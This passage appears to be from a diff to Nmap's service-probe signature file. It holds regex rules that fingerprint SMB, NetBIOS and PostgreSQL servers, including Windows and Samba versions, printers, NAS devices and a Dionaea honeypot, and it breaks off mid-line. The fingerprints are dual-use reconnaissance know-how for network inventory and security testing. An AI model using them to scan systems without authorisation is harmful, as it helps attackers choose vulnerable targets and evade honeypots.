m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0|s p/Microsoft Windows Server 2008 R2 - 2012 microsoft-ds/ o/Windows Server 2008 R2 - 2012/ cpe:/o:microsoft:windows/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfc\xf3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Server 2008 R2 - 2012 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0.{21}(.*)\0\0(.*)\0\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Server 2008 R2 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows_server_2008:r2/a +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x10\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Embedded Standard microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/a +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x10\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\0\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows XP Embedded microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows_xp/a +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x0a\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Vista Embedded microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows_vista/a + +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x05\0\x01\0\x04\x11\0\0\0\0\x01\0\xad\x05\0\0|s p|IBM OS/400 microsoft-ds| o|OS/400| cpe:/o:ibm:os_400/a + +# Xerox WorkCentre Pro c3545 and Xerox DocumentCentre 425 +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x81\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\r\x03\0|s p/Xerox printer microsoft-ds/ d/printer/ +match microsoft-ds m|^\0\0\0\x61\xffSMBr\0\0\0\0\x88\x03\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0\x02\x0a\0\x01\0....\xff\xff\x00\x00....\0\x03\0\0\0|s p/Xerox WorkCentre 5225 printer microsoft-ds/ d/printer/ cpe:/h:xerox:workcentre_5225/a +# FujiXerox ApeosPort-IV C4470 +# Xerox WorkCentre 5225 +match microsoft-ds m|^\0\0\0\x61\xffSMBr\0\0\0\0\x88\x03\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0\x02\x0a\0\x01\0\x04\x11\0\0\xff\xff\0\0....\0\x03\0\0..........\x08\x1c\0........\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|s p/Xerox printer microsoft-ds/ d/printer/ +match microsoft-ds m|^\0\0\0\x3d\xffSMBr\0\0\0\0\x88\0\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0..\0\0\x01\0\r\x04\0\x01\0\xfc\x032\0\x03\0\0\0\0\0\0\0......\0\0\0\0\0\0|s p/Edimax PS-1206P print server smbd/ d/print server/ +match microsoft-ds m|^\0\0\0\x4d\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0..\0\0\x01\0\x11\x07\0\x02\x02\0\x01\0\xfc\x7f\0\0\0\0\x01\0\x01\0\0\0\0\x02\0\0..........\x08\x08\0\0\0\0\0\0\0\0\0|s p/Sharp MX-M350N printer smbd/ d/printer/ cpe:/h:sharp:mx-m350n/a +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x81\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0..\0\0\x01\0\x11\x06\0\x03\x7f\0\x01\0\xff\xff\0\0\xff\xff\0\0\0\0\0\0\xfd\xb3\0\0..........\x08\x22\0........((?:\w\0)+)\0\0((?:\w\0)+)\0\0$|s p/EMC Celerra NAS device smbd/ i/Primary domain: $P(1)/ h/$P(2)/ +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x98\x01\x40\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff\x40\x06\0\0\x01\0\x11\x07\0\x03\x01\0\x01\0\0\x10\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\0\0..........\x00\x34\0W\0O\0R\0K\0G\0R\0O\0U\0P\0\0\0H\0O\0M\0E\0U\0S\0E\0R\0-\0.\0.\0.\0.\0.\0.\0\0\0|s p/Dionaea honeypot smbd/ +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x98\x02\xc8\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\x06\0\0\x01\0\x11\x07\0\x032\0\x01\0\x04\x41\0\0\0\0\x01\0\0\0\0\0\xfc\xc0\0\x80..........\0..................\x60\x5f\x06\x06\+\x06\x01\x05\x05\x02\xa0U0S\xa0\+0\)\x06\t\*\x86H\x86\xf7\x12\x01\x02\x02\x06\x05\+\x05\x01\x05\x02\x06\t\*\x86H\x82\xf7\x12\x01\x02\x02\x06\n\+\x06\x01\x04\x01\x827\x02\x02\n\xa3\$0\"\xa0 \x1b\x1e[\w._-]+/([\w._-]+)@$|s p/Likewise smbd/ h/$1/ +# key was \xd7\xd7\xd8\xd8\xd8\xd8\xd8\xd9 +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0<\[\0\0\0\0\x01\0\0\0\0\0\\\0\0\0........\0\0\x08\x08\0........| p/HP Officejet Pro 8600 printer smbd/ d/printer/ cpe:/h:hp:officejet_pro_8600/a +# key was 4 bytes repeated +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x03\xc0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x01\0\x01\0\xff\xff\0\0\0\0\x01\0\0\0\0\0\}\xa2\0\0..........\x08\x08\0........|s p/Arcadyan ARV752DPW22 (Vodafone EasyBox 803A) WAP smbd/ d/WAP/ cpe:/h:arcadyan:arv752dpw22/ +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x01H\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0\0\0\x01\0\0\0\x01\0\0\0\0\0\x7c\xe0\0\0..........\x08\x08\0........|s p/Epson WF-2650 printer smbd/ d/printer/ cpe:/h:epson:wf-2650/a +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0\xec\xfa\0\0\0\0\x01\0\0\0\0\0\x7c \0\0..........\x08\x08\0........|s p/Apple Time Capsule smbd/ d/storage-misc/ +match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88C@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\xff\xff\x01\0\x04A\0\0\x04A\0\0....\xfc\x02\0\0.{21}((?:..)+)\0\0((?:..)+)\0\0| p/Acopia ARX switch smbd/ i/workgroup: $P(1)/ d/storage-misc/ h/$P(2)/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x01\0\x01\0h\x0b\0\0\xff\xff\0\0\0\0\0\0\x07\x02\0\0\0\0\0\0\0\0\0\0..\x08\x08\0\0\0\0\0\0\0\0\0| p/Fujitsu Storagebird LAN smbd/ d/storage-misc/ cpe:/h:fujitsu:storagebird_lan/ +match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01H\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0\0\0\x01\0\0\0\x01\0\0\0\0\0\x7c \0\0..........\x08\x08| p/Epson printer smbd/ d/printer/ +match microsoft-ds m|^\0\0\0a\xffSMBr\0\0\0\0\x80\0{16}@\x06\0\0\x01\0\x11\x07\0\x03\x01\0\x14\0@\x1e\0\0\xff\xff\0\0....\x14\x02\0{10}..\x08\x1c\0.{8}((?:(?!\0\0).)+?)\0\0| p/Canon Pixma printer smbd/ i/workgroup: $P(1)/ d/printer/ + +# Microsoft Windows XP SP1 +# Windows 2000 +match msrpc m|^\x05\0\r\x03\x10\0\0\0\x18\0\0\0....\x04\0\x01\x05\0...$|s p/Microsoft Windows RPC/ o/Windows/ cpe:/o:microsoft:windows/a +# Microsoft Windows 2000 +# samba-2.2.7-5.8.0 on RedHat 8 +# samba-2.2.7a-8.9.0 on Red Hat Linux 7.x +match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0.*\W([-_.\w]+)\0$|s p/Samba smbd/ i/workgroup: $1/ cpe:/a:samba:samba/ +# Samba 2.999+3.0.alpha21-5 on Linux +# Samba 3.0.0rc4-Debian +# Samba 4.1.6-ubuntu +# Samba 3.6.x on FreeBSD +# Samba 3.0.x based SMB implementation by Apple +match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0[-\w. ]*\0+@\x06\0\0\x01\0\x11\x06\0.{42}(.*)\0\0(.*)\0\0$|s p/Samba smbd/ v/3.X - 4.X/ i/workgroup: $P(1)/ h/$P(2)/ cpe:/a:samba:samba/ +# The line below may no longer be required and seems to miss the first capture on test systems +match netbios-ssn m=^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0[-\w. ]*\0+@\x06\0\0\x01\0\x11\x06\0.*(?:[^\0]|[^_A-Z0-9-]\0)((?:[-\w]\0){2,50})=s p/Samba smbd/ v/3.X - 4.X/ i/workgroup: $P(1)/ cpe:/a:samba:samba/ +match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0..\0\x01\0..\0\0...\0..\0\0|s p/Samba smbd/ v/3.X - 4.X/ cpe:/a:samba:samba/ +# Samba 2.2.8a on Linux 2.4.20 +match netbios-ssn m|^\x83\0\0\x01\x81$| p/Samba smbd/ cpe:/a:samba:samba/ +match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x01\xff\xff\0\0$|s p/Samba smbd/ v/4.6.2/ cpe:/a:samba:samba:4.6.2/ +# DAVE 4.1 enhanced windows networks services for Mac on Mac OS X +match netbios-ssn m|^\0\0\0.\xffSMBr\x02\0Y\0\x98\x01.\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\0\x07\0|s p/Thursby DAVE Windows filesharing/ i/Runs on Macintosh systems/ o/Mac OS/ cpe:/o:apple:mac_os/a +# Windows Session Service - 139/tcp - Formerly Window 98 match, actually matches Win 98 through Windows 8 / 2012 R2 +match netbios-ssn m|^\x83\0\0\x01\x8f$| p/Microsoft Windows netbios-ssn/ o/Windows/ cpe:/o:microsoft:windows/a +# Netware might just be using Samba? +match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x80\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x032\0\x01\0\xff\xff\0\0\0\0\x01\0| p/NetWare 6 SMB Services/ o/NetWare/ cpe:/o:novell:netware:6/ +# Network Appliance ONTAP 6.3.3 netbios-ssn +match netbios-ssn m=^\0\0\0.\xffSMBr\0\0\0\0\x98\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.*(?:[^\0]|[^_A-Z0-9-]\0)((?:[-\w]\0){2,50})=s p/Netapp ONTAP smbd/ i/workgroup: $P(1)/ cpe:/a:netapp:data_ontap/ +match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x98\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.*\W([-_.\w]+)\0$| p/Netapp ONTAP smbd/ i/workgroup: $1/ cpe:/a:netapp:data_ontap/ +match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x02\0\x01\0\0\x80\0\0\0\0\x01\0\x01\0\0\0\0\x02\0\0| p/Kyocera FS-1030D printer smbd/ d/printer/ cpe:/h:kyocera:fs-1030d/a +match netbios-ssn m|^\x82\0\0\0\n-> doHttp: Connection timeouted!\n\ntelnetd: This system \*IN USE\* via telnet\.\nshell restarted\.\n\x08\x08\x08\x08 \*\*\* EPSON Network Print Server \(([^)]+)\) \*\*\*\n\n\x08\x08\x08\x08 \nPassword: | p/Epson print server smbd/ v/$1/ d/print server/ +match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x98. \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\x32\0\x01\0....\x00\x00\x01\x00....\xf4\xc2\0\0|s p/IOGear GMFPSU22W6 print server smbd/ d/print server/ cpe:/h:iogear:gmfpsu22w6/a +# match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x98\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x032\0\x01\0\x04A\0\0\0\0\x01\0 \0\0\0\xf4\xc2\0\0\x80\x1e\xdd\x8b\xe7\?\xca\x01 \xfe\x08\x08\0z~\xc7\*\xc9\x1f\xd3\x9b" +match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x98\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x01\0\x01\0\xff\xff\0\0\xff\xff\0\0\0\0\0\0\x01\x02\0\0| p/Brother MFC-820CW printer smbd/ d/printer/ cpe:/h:brother:mfc-820cw/a +match netbios-ssn m|^\0\0\0G\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\r\x04\0\0\0\xa0\x05\x02\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0WORKGROUP\0$| p/Citizen CLP-521 printer smbd/ d/printer/ cpe:/h:citizen:clp-521/ +match netbios-ssn m|^\0\0\0G\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\r\x04\0\0\0\xa0\x05\x02\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| p/Kyocera Mita KM-1530 printer smbd/ d/printer/ cpe:/h:kyocera:mita_km-1530/a +match netbios-ssn m|^\x82\0\0\0$| p/Konica Minolta bizhub C452 printer smbd/ d/printer/ cpe:/h:konicaminolta:bizhub_c452/ + +# Too broad, but also gives good info +softmatch microsoft-ds m|^\0\0..\xffSMBr\0\0\0\0[\x80-\xff]..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11[\x01-\x07]\0.{42}(.*)\0\0(.*)\0\0$|s i/workgroup: $P(1)/ h/$P(2)/ +softmatch microsoft-ds m|^\0\0..\xffSMBr\0\0\0\0[\x80-\xff]..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11[\x01-\x07]\0|s + +match remote-volume m|^\0\0\0\x18\xffSMB\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\x01\0\0\0| p/NetApp Remote Volume protocol/ +match netradio m%^@(?:NETRADIO|MAIN|SYS):[A-Z0-9]+=% p/Yamaha Net Radio/ d/media device/ + +match nightwatchman m|^ACKDONEV\$\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0([\d.]+)\0\0\0| p/1E NightWatchman WakeUp Server/ v/$1/ + +# HP OpenView Storage Data Protector A.05.10 on Windows 2000 +# Hewlett Packard Omniback 4.1 on Windows NT +match omniback m|^\0\0\0.\xff\xfe1\x005\0\0\0 \0\x07\0\x01\0\[\x001\x002\0:\x001\0\]\0\0\0 \0\x07\0\x02\0\[\x002\x000\x000\x003\0\]\0\0\0 |s p/HP OpenView Omniback/ o/Windows/ cpe:/o:microsoft:windows/a +# HP OpenView Storage Data Protector A.05.10 on Linux +match omniback m|^\0\0\0.15\0 \x07\x01\[12:1\]\0 \x07\x02\[2003\]\0 \x07\x051\d+\0 INET\0 ([\w._-]+)\0|s p|HP OpenView Omniback/Data Protector| o/Unix/ h/$1/ + +match ouman-trend m|^\0\0\0\x05\xffSMBr$| p/Ouman Trend environmental sensor/ + +#### Match versions based on line numbers in error messages. +# http://seclists.org/nmap-dev/2010/q1/456 +# Update like this: +# cd src/backend/postmaster/; git tag -l 'REL*' | while read tag; do git checkout $tag -- postmaster.c; echo $tag:$(grep -n "PG_PROTOCOL_MINOR(PG_PROTOCOL_LATEST))));" postmaster.c) >> lines.txt; done + +# The line numbers need to be updated in both the non-Windows and Windows sections + +# Amazon Redshift, based on PostgreSQL 8.0.2 +# line numbers are distinctly different, as well as the source code path +match postgresql m|^E\0\0\0.SFATAL\0C0A000\0Munsupported frontend protocol 65363\.19778: server supports 1\.0 to 3\.0\0F/home/ec2-user/padb/src/pg/src/backend/postmaster/postmaster\.c\0L2463\0RProcessStartupPacket\0\0$|s p/Amazon Redshift/ v/1.0.1691/ cpe:/a:amazon:redshift:1.0.1691/ + +# PostgreSQL - Non-Windows platforms +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1287\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.0 - 7.4.1/ cpe:/a:postgresql:postgresql:7.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1293\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.2 - 7.4.30/ cpe:/a:postgresql:postgresql:7.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1408\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.0 - 8.0.1/ cpe:/a:postgresql:postgresql:8.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1431\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.2 - 8.0.4/ cpe:/a:postgresql:postgresql:8.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1439\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.7 - 8.0.8/ cpe:/a:postgresql:postgresql:8.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1443\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.9 - 8.0.13/ cpe:/a:postgresql:postgresql:8.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1445\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.6 or 8.0.14 - 8.0.26/ cpe:/a:postgresql:postgresql:8.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1449\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.0/ cpe:/a:postgresql:postgresql:8.1.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1450\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.1/ cpe:/a:postgresql:postgresql:8.1.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1448\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.3 - 8.1.4/ cpe:/a:postgresql:postgresql:8.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1452\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.5 - 8.1.9/ cpe:/a:postgresql:postgresql:8.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1454\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.2 or 8.1.10 - 8.1.23/ cpe:/a:postgresql:postgresql:8.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1432\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.0/ cpe:/a:postgresql:postgresql:8.2.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1437\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.1 - 8.2.4/ cpe:/a:postgresql:postgresql:8.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1440\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.5 - 8.2.19/ cpe:/a:postgresql:postgresql:8.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1441\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.5 or 8.2.20 - 8.2.23/ cpe:/a:postgresql:postgresql:8.0.5/ cpe:/a:postgresql:postgresql:8.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1497\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.0 - 8.3.7/ cpe:/a:postgresql:postgresql:8.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1507\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.8 - 8.3.13/ cpe:/a:postgresql:postgresql:8.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1508\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.14 - 8.3.18/ cpe:/a:postgresql:postgresql:8.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1514\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.19/ cpe:/a:postgresql:postgresql:8.3.19/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1515\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.20 - 8.3.23/ cpe:/a:postgresql:postgresql:8.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1570\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.0/ cpe:/a:postgresql:postgresql:8.4.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1621\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.1 - 8.4.11/ cpe:/a:postgresql:postgresql:8.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1626\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.12/ cpe:/a:postgresql:postgresql:8.4.12/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1627\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.13 - 8.4.19/ cpe:/a:postgresql:postgresql:8.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1622\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.20 - 8.4.22/ cpe:/a:postgresql:postgresql:8.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1666\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.0 - 9.0.7/ cpe:/a:postgresql:postgresql:9.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1671\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.8/ cpe:/a:postgresql:postgresql:9.0.8/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1677\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.9 - 9.0.15/ cpe:/a:postgresql:postgresql:9.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1672\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.16 - 9.0.18/ cpe:/a:postgresql:postgresql:9.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1705\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.19 - 9.0.22/ cpe:/a:postgresql:postgresql:9.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1753\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.23/ cpe:/a:postgresql:postgresql:9.0.23/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1694\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.0 - 9.1.1/ cpe:/a:postgresql:postgresql:9.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1695\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.2 - 